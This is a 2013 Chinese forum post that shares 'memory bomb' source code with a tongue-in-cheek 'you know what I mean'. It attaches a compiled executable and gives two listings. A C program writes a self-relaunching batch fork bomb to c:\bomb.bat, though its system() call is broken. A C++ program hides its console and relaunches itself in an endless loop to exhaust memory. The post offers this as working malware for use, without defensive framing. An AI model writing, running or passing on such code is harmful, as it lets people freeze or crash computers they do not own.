|
发表于 2013-4-5 21:24:17
|
显示全部楼层
本帖最后由 向往青莲 于 2013-4-5 21:30 编辑
来了 内存炸弹源码 你懂得
附件中是编译后的可执行文件(谨慎点击)
内存炸弹.zip
(67.5 KB, 下载次数: 0)
C语言版:- #include<stdio.h>
- #include<string.h>
- #include<stdlib.h>
- #include<windows.h>/*调用system函数*/
- void main()
- {
- FILE *fp;
-
- char fname[32]="c:\\bomb";/*文件名*/
- strcat(fname,".bat");
- fp=fopen(fname,"w+");
- if(!fp)
- {
- printf("创建文件失败!\n");
- getchar();
- exit(0);
- }
- fprintf(fp,"%s",":main\nstart %0\ngoto main");/*写入文件*/
-
- fclose(fp);
- system("fname");
- return;
- }
复制代码 C++版本- #include <windows.h> // 包含MessageBox函数声明的头文件
- #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")//隐藏控制台
- void main(int argc, char* argv[])
- {
- char cur[256];
- int dirsize = 256;
- int ii;
- ii = GetModuleFileName(NULL, cur, dirsize);//得到自身程序的完整路径,保存在cur中
- cur[ii] = 0;//字符串末尾为‘/0’
-
- while(1)/*死循环*/
- {
- ShellExecute(NULL,"open",cur,NULL,NULL,SW_SHOWNORMAL); /*执行自身*/
- }
-
- return ;
- }
复制代码 |
|